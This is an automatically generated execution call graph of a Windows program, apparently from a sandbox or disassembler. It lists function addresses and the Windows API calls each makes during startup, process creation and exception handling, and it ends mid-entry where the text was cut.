                                                                                                                                                                                                                execution_graph 66673 701c50 66676 837b93 66673->66676 66679 837cba 66676->66679 66680 837cda 66679->66680 66681 837cc8 66679->66681 66691 837df8 66680->66691 66707 82a489 GetModuleHandleW 66681->66707 66685 837ccd 66685->66680 66708 837c12 GetModuleHandleExW 66685->66708 66686 701c5a 66690 837d1d 66692 837e04 CallCatchBlock 66691->66692 66714 847ce1 EnterCriticalSection 66692->66714 66694 837e0e 66715 837d1e 66694->66715 66696 837e1b 66719 837e39 66696->66719 66699 837c65 66724 8497fb GetPEB 66699->66724 66702 837c94 66704 837c12 CallUnexpected 3 API calls 66702->66704 66703 837c74 GetPEB 66703->66702 66705 837c84 GetCurrentProcess TerminateProcess 66703->66705 66706 837c9c ExitProcess 66704->66706 66705->66702 66707->66685 66709 837c31 GetProcAddress 66708->66709 66710 837c54 66708->66710 66713 837c46 66709->66713 66711 837c63 66710->66711 66712 837c5a FreeLibrary 66710->66712 66711->66680 66712->66711 66713->66710 66714->66694 66716 837d2a CallCatchBlock 66715->66716 66717 837d8b CallUnexpected 66716->66717 66722 83a0f0 EnterCriticalSection LeaveCriticalSection CallUnexpected 66716->66722 66717->66696 66723 847cf8 LeaveCriticalSection 66719->66723 66721 837d0d 66721->66686 66721->66699 66722->66717 66723->66721 66725 837c6f 66724->66725 66726 849815 66724->66726 66725->66702 66725->66703 66728 8478ac 66726->66728 66731 8479f5 66728->66731 66732 847a23 66731->66732 66736 8478c8 66731->66736 66732->66736 66738 84792e 66732->66738 66735 847a3d GetProcAddress 66735->66736 66737 847a4d _unexpected 66735->66737 66736->66725 66737->66736 66743 84793f ___vcrt_FlsSetValue 66738->66743 66739 8479ea 66739->66735 66739->66736 66740 84795d LoadLibraryExW 66741 847978 GetLastError 66740->66741 66740->66743 66741->66743 66742 8479d3 FreeLibrary 66742->66743 66743->66739 66743->66740 66743->66742 66744 8479ab LoadLibraryExW 66743->66744 66744->66743 66745 76c386 66746 76c396 66745->66746 66747 76c3b3 66745->66747 66748 76c3a6 66746->66748 66750 7ac794 66746->66750 66751 7d6537 66750->66751 66767 7eac0e CloseHandle 66751->66767 66754 7d6549 66754->66748 66756 7d65cf 66788 8294aa 66756->66788 66758 7d65d9 66758->66748 66759 7d6576 66759->66756 66787 73c840 GetLastError 66759->66787 66769 7eac38 66767->66769 66768 7eac7f 66770 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66768->66770 66769->66768 66795 73c840 GetLastError 66769->66795 66772 7d6542 66770->66772 66772->66754 66779 7ea51e ReadFile 66772->66779 66780 7ea596 GetLastError 66779->66780 66784 7ea55d 66779->66784 66786 7ea5a8 66780->66786 66781 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66782 7ea5b7 66781->66782 66782->66759 66783 7ea5c6 66785 7ea578 ReadFile 66784->66785 66784->66786 66785->66780 66785->66784 66786->66781 66786->66783 66789 8294b3 66788->66789 66790 8294b5 IsProcessorFeaturePresent 66788->66790 66789->66758 66792 82a343 66790->66792 66796 82a428 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 66792->66796 66794 82a426 66794->66758 66796->66794 66797 6f1000 66846 733f70 66797->66846 66799 6f1027 66855 6f59e4 66799->66855 66802 6f104f _strlen 66870 6f5a43 272 API calls 66802->66870 66803 6f103e 66860 6f5a0e 66803->66860 66807 6f1064 66871 7581c0 10 API calls 66807->66871 66808 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66810 6f1319 66808->66810 66811 6f107f 66872 75a1d0 8 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66811->66872 66813 6f10ce 66873 7487e0 49 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66813->66873 66815 6f10f5 66874 740ee0 66815->66874 66819 6f113b 66820 6f1158 66819->66820 66820->66819 66927 73ba00 50 API calls 2 library calls 66820->66927 66822 6f11f5 66945 749df0 153 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66822->66945 66823 6f117f 66823->66822 66928 73bec0 125 API calls 66823->66928 66826 6f11a4 66929 6f1741 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66826->66929 66827 6f1213 66946 8293de 66827->66946 66829 6f11b4 66930 735860 66829->66930 66833 6f123f 66956 74a2b0 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66833->66956 66835 6f11d9 66944 73c2a0 125 API calls 5 library calls 66835->66944 66839 6f12a2 66957 741e60 30 API calls 2 library calls 66839->66957 66840 6f12cf 66958 749f70 27 API calls 66840->66958 66842 6f12eb 66959 733060 9 API calls __freea 66842->66959 66847 733f83 66846->66847 66848 734016 66846->66848 66849 8293de 3 API calls 66847->66849 66848->66799 66850 733f8a 66849->66850 66851 8293de 3 API calls 66850->66851 66852 733fa3 GetCommandLineW 66851->66852 66853 733ff3 66852->66853 66960 734020 66853->66960 67065 700acc 66855->67065 66859 6f1037 66859->66802 66859->66803 66861 6f5a1e 66860->66861 66862 6f5a40 66860->66862 67095 701c00 66861->67095 66864 6f5a26 66865 6f5a2b 66864->66865 66866 6f5a33 66864->66866 67098 700b5a 66865->67098 67120 700e3a 332 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66866->67120 66869 6f1045 66869->66808 66870->66807 66871->66811 66872->66813 66873->66815 66902 740f17 66874->66902 66875 740f1c 68640 7533c0 184 API calls 2 library calls 66875->68640 66876 740f3a TryAcquireSRWLockExclusive 66876->66902 66877 8294e7 __Init_thread_header 5 API calls 66877->66902 66879 740f24 66881 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66879->66881 66880 741071 ReleaseSRWLockExclusive 66880->66902 66883 6f1118 66881->66883 66882 8293de 3 API calls 66882->66902 66905 738b80 66883->66905 66885 741152 ReleaseSRWLockExclusive 66890 74115d 66885->66890 66886 739e40 35 API calls 66886->66902 66887 74121f 66889 737db0 23 API calls 66887->66889 66888 7411e7 66888->66887 68643 741520 37 API calls __floor_pentium4 66888->68643 66891 74122b ReleaseSRWLockExclusive 66889->66891 66893 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66890->66893 66891->66890 66893->66883 66894 737db0 23 API calls 66896 74110b TryAcquireSRWLockExclusive 66894->66896 66898 74111d 66896->66898 66896->66902 66897 741213 66899 737db0 23 API calls 66897->66899 66898->66885 68642 741520 37 API calls __floor_pentium4 66898->68642 66899->66887 66901 741143 66903 737db0 23 API calls 66901->66903 66902->66875 66902->66876 66902->66877 66902->66880 66902->66882 66902->66885 66902->66886 66902->66887 66902->66888 66902->66890 66902->66894 68641 751500 192 API calls 2 library calls 66902->68641 68644 82955d EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 66902->68644 66904 74114f 66903->66904 66904->66885 66907 738bcf 66905->66907 66909 738c12 66907->66909 66910 738e4b 66907->66910 66913 738c17 __fread_nolock 66907->66913 66909->66913 66914 738e54 66909->66914 66915 738c4a 66909->66915 68649 730494 23 API calls 66910->68649 66912 738ce0 66918 737cd0 35 API calls 66912->66918 68645 7321f0 66913->68645 68650 83d9b4 34 API calls CallUnexpected 66914->68650 66917 8293de 3 API calls 66915->66917 66916 738cc7 66920 737cd0 35 API calls 66916->66920 66917->66913 66926 738d16 66918->66926 66923 738cd0 66920->66923 66921 738e59 66922 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66924 738e3f 66922->66924 66923->66922 66924->66819 66925 731878 23 API calls 66925->66923 66926->66925 66927->66823 66928->66826 66929->66829 66931 7313a0 23 API calls 66930->66931 66932 735896 66931->66932 68651 735960 66932->68651 66934 7358a2 68657 735c00 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66934->68657 66936 735904 66937 731a38 23 API calls 66936->66937 66938 735938 66936->66938 66939 735921 66937->66939 66940 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66938->66940 66941 731878 23 API calls 66939->66941 66942 6f11c9 66940->66942 66941->66938 66943 73cb30 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 66942->66943 66943->66835 66944->66822 66945->66827 66948 8293e3 66946->66948 66949 8293fd 66948->66949 66951 8293ff 66948->66951 68658 837e45 EnterCriticalSection LeaveCriticalSection ___std_exception_copy 66948->68658 68659 758c30 66948->68659 66949->66833 66955 82a229 66951->66955 68663 82b50c RaiseException 66951->68663 66954 82a246 66954->66833 68664 82b50c RaiseException 66955->68664 66956->66839 66957->66840 66958->66842 66983 746f20 66960->66983 66963 734057 LoadLibraryExW 66965 73409a CommandLineToArgvW 66963->66965 66966 73407f GetProcAddress 66963->66966 66964 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66967 734225 66964->66967 66970 7340a5 66965->66970 66968 73408f 66966->66968 66967->66848 66968->66970 66969 73423b 66970->66969 66972 8293de 3 API calls 66970->66972 66982 7341a8 66970->66982 66974 7340eb __fread_nolock 66972->66974 66977 73422f 66974->66977 66979 734236 66974->66979 66980 8293de 3 API calls 66974->66980 66974->66982 66975 7341d4 FreeLibrary 66976 7341db 66975->66976 66976->66964 66998 730494 23 API calls 66977->66998 66999 83d9b4 34 API calls CallUnexpected 66979->66999 66980->66974 66987 733c40 66982->66987 66984 746f4e 66983->66984 66985 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66984->66985 66986 734049 66985->66986 66986->66963 66986->66976 66988 8293de 3 API calls 66987->66988 66989 733c5c 66988->66989 66991 733d2a 66989->66991 67034 737cd0 66989->67034 67000 733a80 66991->67000 66993 733d3f 67015 734270 66993->67015 66995 733d4e 66996 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 66995->66996 66997 733d58 LocalFree 66996->66997 66997->66975 66997->66976 66999->66969 67001 733aa5 67000->67001 67002 746f20 5 API calls 67001->67002 67003 733ab8 67002->67003 67004 733bc1 67003->67004 67005 733aeb 67003->67005 67009 733af0 __fread_nolock 67003->67009 67047 730494 23 API calls 67004->67047 67007 733b27 67005->67007 67008 733bca 67005->67008 67005->67009 67011 8293de 3 API calls 67007->67011 67048 83d9b4 34 API calls CallUnexpected 67008->67048 67010 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67009->67010 67013 733bb7 67010->67013 67011->67009 67013->66993 67014 733bcf 67019 7342a5 __fread_nolock 67015->67019 67028 734592 67015->67028 67016 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67018 734698 67016->67018 67017 7313a0 23 API calls 67017->67019 67018->66995 67019->67017 67020 746f20 5 API calls 67019->67020 67021 7346a2 67019->67021 67023 7346ab 67019->67023 67025 8293de 3 API calls 67019->67025 67019->67028 67030 73467c 67019->67030 67049 73225a 67019->67049 67054 735220 23 API calls 2 library calls 67019->67054 67055 7354e0 5 API calls 2 library calls 67019->67055 67056 7356a0 35 API calls 3 library calls 67019->67056 67057 7492e0 23 API calls 67019->67057 67058 711878 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67019->67058 67020->67019 67059 730494 23 API calls 67021->67059 67060 83d9b4 34 API calls CallUnexpected 67023->67060 67025->67019 67028->67016 67030->66995 67035 737d04 __fread_nolock 67034->67035 67036 737cdf 67034->67036 67042 737d78 67035->67042 67062 731dd6 23 API calls CatchIt 67035->67062 67037 737d81 67036->67037 67038 737cff 67036->67038 67063 730494 23 API calls 67037->67063 67038->67035 67040 737d88 67038->67040 67041 737d29 67038->67041 67064 83d9b4 34 API calls CallUnexpected 67040->67064 67044 8293de 3 API calls 67041->67044 67042->66991 67044->67035 67046 737d8d 67048->67014 67050 73226b 67049->67050 67052 73227e 67050->67052 67061 7304a2 23 API calls 67050->67061 67052->67019 67054->67019 67055->67019 67056->67019 67057->67019 67058->67019 67060->67023 67062->67042 67064->67046 67073 7347a0 67065->67073 67067 700afa _strlen 67068 700b2c 67067->67068 67081 73130a 23 API calls _strlen 67067->67081 67070 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67068->67070 67071 6f59f1 67070->67071 67071->66859 67072 700dac 23 API calls 2 library calls 67071->67072 67072->66859 67074 7347e2 67073->67074 67076 7347fa 67074->67076 67082 7313a0 67074->67082 67077 73485b 67076->67077 67092 7492e0 23 API calls 67076->67092 67079 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67077->67079 67080 734896 67079->67080 67080->67067 67081->67068 67083 7313cc 67082->67083 67091 7313bc __fread_nolock 67082->67091 67084 731433 67083->67084 67085 7313d7 67083->67085 67093 730494 23 API calls 67084->67093 67087 73143a 67085->67087 67088 7313f4 67085->67088 67085->67091 67094 72ee4e 23 API calls 2 library calls 67087->67094 67090 8293de 3 API calls 67088->67090 67090->67091 67091->67076 67092->67077 67096 701c0c SetUnhandledExceptionFilter 67095->67096 67097 701c21 67095->67097 67096->67097 67097->66864 67121 701c7e 67098->67121 67100 700b76 67118 700bbb 67100->67118 67133 715e74 67100->67133 67101 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67103 700da2 67101->67103 67103->66869 67104 700b88 67105 700bc3 67104->67105 67106 700bac 67104->67106 67254 700fdc 67105->67254 67243 733d70 67106->67243 67109 700bdd 67115 700c52 67109->67115 67119 700c59 67109->67119 67260 749420 35 API calls CallUnexpected 67109->67260 67110 700bb6 67160 76e1c4 67110->67160 67112 700d60 67198 76e4d0 67112->67198 67262 733bd0 35 API calls 67115->67262 67118->67101 67119->67115 67261 749420 35 API calls CallUnexpected 67119->67261 67120->66869 67122 701ca2 67121->67122 67263 717170 67122->67263 67125 701cca 67127 740ee0 198 API calls 67125->67127 67128 701cdc 67127->67128 67129 740ee0 198 API calls 67128->67129 67130 701cee 67129->67130 67131 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67130->67131 67132 701d03 67131->67132 67132->67100 67134 715e95 _strlen 67133->67134 67153 715fc1 67134->67153 67308 737860 23 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67134->67308 67137 715f0a 67309 7346e0 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67137->67309 67138 716046 67142 716061 67138->67142 67312 751320 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67138->67312 67141 715f2d 67143 7347a0 23 API calls 67141->67143 67141->67153 67148 7160c1 67142->67148 67151 7161dd 67142->67151 67155 716199 _strlen 67142->67155 67159 71617e 67142->67159 67144 715f67 67143->67144 67146 715f92 67144->67146 67310 73130a 23 API calls _strlen 67144->67310 67145 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67147 7161f1 67145->67147 67146->67153 67311 73130a 23 API calls _strlen 67146->67311 67147->67104 67313 730aa2 23 API calls _strlen 67148->67313 67151->67145 67293 73aa30 67153->67293 67155->67159 67315 74e8c0 71 API calls 67155->67315 67157 716119 67314 74e910 71 API calls 67157->67314 67316 751320 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67159->67316 67414 7346b0 67160->67414 67164 76e208 67423 6f3696 67164->67423 67166 76e21b 67167 6f3696 125 API calls 67166->67167 67168 76e22b 67167->67168 67524 735110 67168->67524 67170 76e234 67530 734730 67170->67530 67172 6f3696 125 API calls 67173 76e2d3 67172->67173 67534 735190 67173->67534 67174 76e266 _strlen 67176 7347a0 23 API calls 67174->67176 67184 76e2a1 67174->67184 67178 76e289 67176->67178 67177 76e2df 67181 7348b0 35 API calls 67177->67181 67179 6f3696 125 API calls 67178->67179 67180 76e296 67179->67180 67182 735110 23 API calls 67180->67182 67183 76e30f 67181->67183 67182->67184 67185 8293de 3 API calls 67183->67185 67197 76e37a 67183->67197 67184->67172 67186 76e327 67185->67186 67545 7b0b4c GetCurrentProcessId OpenProcess 67186->67545 67189 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67192 76e3a4 67189->67192 67190 76e340 GetModuleHandleW 67191 76e371 67190->67191 67193 76e34f GetProcAddress 67190->67193 67578 7b0b1e GetHandleVerifier 67191->67578 67192->67112 67194 76e3ae 67193->67194 67195 76e35f 67193->67195 67194->67191 67195->67197 67197->67189 67621 779ce0 67198->67621 67200 76e4ef 67201 8293de 3 API calls 67200->67201 67202 76e4f6 67201->67202 67624 756ae0 67202->67624 67204 76e527 _strlen 67205 7347a0 23 API calls 67204->67205 67206 76e574 67205->67206 67208 8293de 3 API calls 67206->67208 67216 76e5d0 67206->67216 67207 700fdc 23 API calls 67209 76e5f3 _strlen 67207->67209 67212 76e591 __fread_nolock _strlen 67208->67212 67210 748e60 23 API calls 67209->67210 67211 76e61f 67210->67211 67646 6f401e 67211->67646 67828 76ec8e 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67212->67828 67214 76e632 67217 731878 23 API calls 67214->67217 67216->67207 67218 76e64b 67217->67218 67219 731a38 23 API calls 67218->67219 67220 76e673 _strlen 67219->67220 67221 748e60 23 API calls 67220->67221 67222 76e6ef 67221->67222 67223 6f401e 35 API calls 67222->67223 67224 76e700 67223->67224 67225 731878 23 API calls 67224->67225 67226 76e71c 67225->67226 67227 731a38 23 API calls 67226->67227 67229 76e744 67227->67229 67657 6ffc5c 67229->67657 67230 76e995 67231 76eb5f 67230->67231 67235 76ec84 67230->67235 67829 7492e0 23 API calls 67230->67829 67830 6f4170 35 API calls CallUnexpected 67230->67830 67233 8293de 3 API calls 67231->67233 67238 76ebad 67231->67238 67237 76eb92 67233->67237 67237->67238 67831 709b02 35 API calls 2 library calls 67237->67831 67663 7b206c SetUnhandledExceptionFilter SetConsoleCtrlHandler 67238->67663 67240 76ec06 67241 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67240->67241 67242 76ec70 67241->67242 67242->67118 67244 733db2 67243->67244 67253 733e02 67243->67253 67246 733eb0 67244->67246 67247 8293de 3 API calls 67244->67247 67245 733e8e 67248 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67245->67248 67250 733dcf 67247->67250 67251 733ea4 67248->67251 67252 7313a0 23 API calls 67250->67252 67250->67253 67251->67110 67252->67250 67253->67245 67253->67253 68638 735fa0 23 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67253->68638 67255 700ff9 67254->67255 67258 70102b 67254->67258 68639 6f5706 RaiseException EnterCriticalSection LeaveCriticalSection 67255->68639 67257 70100a 67257->67258 67259 7313a0 23 API calls 67257->67259 67258->67109 67259->67257 67260->67109 67261->67119 67262->67110 67264 7171a1 _strlen 67263->67264 67272 7348b0 67264->67272 67268 7171bd 67269 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67268->67269 67270 701ca9 67269->67270 67270->67125 67271 7412d0 214 API calls 3 library calls 67270->67271 67271->67125 67273 7348dc 67272->67273 67274 7348f1 67273->67274 67275 7313a0 23 API calls 67273->67275 67276 737cd0 35 API calls 67274->67276 67275->67274 67277 734931 67276->67277 67278 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67277->67278 67279 7171b4 67278->67279 67280 717201 67279->67280 67281 717212 67280->67281 67282 717219 67281->67282 67284 71723f 67281->67284 67290 7524e0 184 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67282->67290 67284->67268 67285 71721f 67286 71722c 67285->67286 67291 73a700 202 API calls 67285->67291 67286->67284 67292 751500 192 API calls 2 library calls 67286->67292 67289 71723a 67289->67284 67290->67285 67291->67286 67292->67289 67317 73a590 67293->67317 67296 73aad6 GetLastError 67298 73ab0f 67296->67298 67299 73aaee 67296->67299 67297 73aa76 67327 73adf0 59 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67297->67327 67306 73aac7 67298->67306 67329 730c44 23 API calls _strlen 67298->67329 67299->67298 67300 73aaf8 67299->67300 67328 752320 184 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67300->67328 67303 73aafe 67303->67298 67305 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67307 73ab4e 67305->67307 67306->67305 67307->67138 67308->67137 67309->67141 67310->67146 67311->67153 67312->67142 67313->67157 67314->67159 67315->67159 67316->67151 67318 73a5a0 67317->67318 67330 739e40 67318->67330 67322 73a5ee 67322->67296 67322->67297 67325 73a5e3 67351 841850 71 API calls 3 library calls 67325->67351 67327->67306 67328->67303 67329->67306 67334 739e5f 67330->67334 67332 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67333 73a0f7 67332->67333 67333->67322 67336 753180 67333->67336 67335 739e8a 67334->67335 67352 737fc0 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67334->67352 67335->67332 67337 7531d6 67336->67337 67353 74a440 181 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67337->67353 67339 7531e5 _strlen 67354 748e60 67339->67354 67341 753215 67359 731cfa 23 API calls CatchIt 67341->67359 67343 753244 67360 8403cc 67343->67360 67345 75325f 67379 74a4b0 173 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67345->67379 67347 75327f 67348 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67347->67348 67349 73a5d1 67348->67349 67349->67322 67350 73a330 193 API calls 3 library calls 67349->67350 67350->67325 67351->67322 67352->67335 67353->67339 67380 748ac0 67354->67380 67357 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67358 748ea9 67357->67358 67358->67341 67359->67343 67361 8403d7 CallCatchBlock 67360->67361 67362 8403ea 67361->67362 67364 84040c 67361->67364 67394 83a7f2 11 API calls __dosmaperr 67362->67394 67366 840411 67364->67366 67367 84041e 67364->67367 67365 8403ef 67395 83be02 22 API calls __fread_nolock 67365->67395 67396 83a7f2 11 API calls __dosmaperr 67366->67396 67387 84d090 10 API calls 2 library calls 67367->67387 67371 8403fa 67371->67345 67372 840427 67373 84042d 67372->67373 67374 84043a 67372->67374 67397 83a7f2 11 API calls __dosmaperr 67373->67397 67388 84f5c7 67374->67388 67379->67347 67385 748ae1 67380->67385 67381 748ae8 67381->67381 67382 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67381->67382 67383 748e4e 67382->67383 67383->67357 67385->67381 67386 731690 23 API calls __fread_nolock 67385->67386 67386->67381 67387->67372 67389 84f5d2 67388->67389 67399 83a992 43 API calls 3 library calls 67389->67399 67391 84f5e8 67392 84044d 67391->67392 67400 83c5ac 67391->67400 67398 840476 LeaveCriticalSection __fread_nolock 67392->67398 67394->67365 67395->67371 67396->67371 67397->67371 67398->67371 67399->67391 67403 83c8f6 67400->67403 67406 83c902 CallCatchBlock 67403->67406 67404 83c909 67405 83a7f2 __dosmaperr 11 API calls 67404->67405 67407 83c90e 67405->67407 67406->67404 67408 83c934 67406->67408 67409 83be02 __fread_nolock 22 API calls 67407->67409 67410 83c5cc __wsopen_s 90 API calls 67408->67410 67413 83c5c7 67409->67413 67411 83c958 67410->67411 67412 83c98b __wsopen_s LeaveCriticalSection 67411->67412 67412->67413 67413->67392 67415 7346c2 67414->67415 67416 737cd0 35 API calls 67415->67416 67417 7346d0 67416->67417 67418 733a10 67417->67418 67419 8293de 3 API calls 67418->67419 67420 733a2e 67419->67420 67421 733a80 35 API calls 67420->67421 67422 733a74 67421->67422 67422->67164 67424 6f36b2 _strlen 67423->67424 67425 6f36ba 67424->67425 67426 6f3713 67424->67426 67428 8293de 3 API calls 67425->67428 67432 6f36bf __fread_nolock 67425->67432 67579 730494 23 API calls 67426->67579 67428->67432 67432->67166 67525 735131 67524->67525 67526 748e60 23 API calls 67525->67526 67527 735144 67526->67527 67528 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67527->67528 67529 73517a 67528->67529 67529->67170 67531 734750 _strlen 67530->67531 67532 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67531->67532 67533 734785 67532->67533 67533->67174 67535 7351b1 67534->67535 67536 748e60 23 API calls 67535->67536 67537 7351c1 67536->67537 67538 7351ff 67537->67538 67539 7351cc 67537->67539 67580 711878 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67538->67580 67541 7313a0 23 API calls 67539->67541 67542 7351d4 67541->67542 67543 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67542->67543 67544 7351f5 67543->67544 67544->67177 67581 701b9c 67545->67581 67549 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67551 76e33c 67549->67551 67551->67190 67551->67191 67553 7b0bcd 67554 733d70 23 API calls 67553->67554 67577 7b0b8d 67553->67577 67555 7b0bf4 67554->67555 67556 6f3696 125 API calls 67555->67556 67557 7b0c02 67556->67557 67598 743aa0 67557->67598 67560 6f3696 125 API calls 67561 7b0c45 67560->67561 67562 735110 23 API calls 67561->67562 67563 7b0c58 67562->67563 67564 743aa0 23 API calls 67563->67564 67565 7b0c8d 67564->67565 67566 6f3696 125 API calls 67565->67566 67567 7b0c9e 67566->67567 67568 735110 23 API calls 67567->67568 67569 7b0cad 67568->67569 67570 735860 35 API calls 67569->67570 67571 7b0cec 67570->67571 67608 731a38 67571->67608 67575 7b0d22 67613 7b0e78 35 API calls 67575->67613 67577->67549 67580->67542 67582 701bd0 67581->67582 67583 701ba9 GetLastError 67581->67583 67582->67577 67587 78d470 67582->67587 67614 701bd8 GetHandleVerifier 67583->67614 67585 701bba 67586 701bc9 SetLastError 67585->67586 67586->67582 67588 78d489 67587->67588 67594 78d491 67587->67594 67589 78d4a9 InitializeProcThreadAttributeList 67588->67589 67588->67594 67592 78d4c8 __fread_nolock 67589->67592 67589->67594 67590 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67591 78d49d 67590->67591 67591->67577 67595 78d520 67591->67595 67593 78d4dc InitializeProcThreadAttributeList 67592->67593 67593->67594 67594->67590 67596 78d549 67595->67596 67597 78d52a UpdateProcThreadAttribute 67595->67597 67596->67553 67597->67553 67599 743ae0 67598->67599 67599->67599 67600 743b94 67599->67600 67601 743b22 67599->67601 67615 730494 23 API calls 67600->67615 67604 8293de 3 API calls 67601->67604 67605 743b27 __fread_nolock 67601->67605 67604->67605 67606 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67605->67606 67607 743b8a 67606->67607 67607->67560 67609 731a48 67608->67609 67616 731878 67609->67616 67611 731a54 67612 7b0d62 7 API calls CatchIt 67611->67612 67612->67575 67613->67577 67614->67585 67617 73188c 67616->67617 67619 7318bf __fread_nolock 67617->67619 67620 73190e 23 API calls __fread_nolock 67617->67620 67619->67611 67620->67619 67832 837edd 67621->67832 67623 779ced 67623->67200 67843 78df60 67624->67843 67628 756b20 67630 756b6b IsDebuggerPresent 67628->67630 67638 748e60 23 API calls 67628->67638 67633 756b75 GetCurrentThreadId 67630->67633 67634 756b8a 67630->67634 67632 756ba9 67632->67628 67635 756bb9 GetModuleHandleW GetProcAddress 67632->67635 67881 756bf0 RaiseException 67633->67881 67637 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67634->67637 67887 82955d EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 67635->67887 67641 756b97 67637->67641 67642 756b44 GetCurrentThread SetThreadDescription 67638->67642 67641->67204 67642->67630 67645 756b60 67642->67645 67644 756bdf 67644->67628 67645->67630 67647 6f4039 67646->67647 67648 6f409c 67647->67648 67649 6f4043 67647->67649 67893 730494 23 API calls 67648->67893 67651 6f40a3 67649->67651 67652 6f405d 67649->67652 67655 6f404a __fread_nolock 67649->67655 67894 83d9b4 34 API calls CallUnexpected 67651->67894 67654 8293de 3 API calls 67652->67654 67654->67655 67655->67214 67656 6f40a8 67656->67214 67658 6ffc91 67657->67658 67661 6ffcbb 67657->67661 67895 6f4170 35 API calls CallUnexpected 67658->67895 67660 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 67662 6ffd30 67660->67662 67661->67660 67662->67230 67664 7b2f12 67663->67664 67667 7b20cb _strlen 67663->67667 67665 8294e7 __Init_thread_header 5 API calls 67664->67665 67666 7b2f1c 67665->67666 67666->67667 67670 8293de 3 API calls 67666->67670 67896 715d12 67667->67896 67671 7b2f33 67670->67671 67966 7e7bc4 67671->67966 67672 737cd0 35 API calls 67674 7b212a 67672->67674 67899 738770 67674->67899 67679 7b2679 67680 7b26bf 67679->67680 67681 7b267e 67679->67681 67998 715c44 73 API calls 67680->67998 67688 7b26cd 67681->67688 67700 7b2683 67681->67700 67683 6f3696 125 API calls 67721 7b2158 __fread_nolock _strlen 67683->67721 67684 7b26cb 68001 7b3152 140 API calls 2 library calls 67684->68001 67999 6fe841 73 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 67688->67999 67689 715d12 23 API calls 67689->67721 67692 7b2342 68015 7b3152 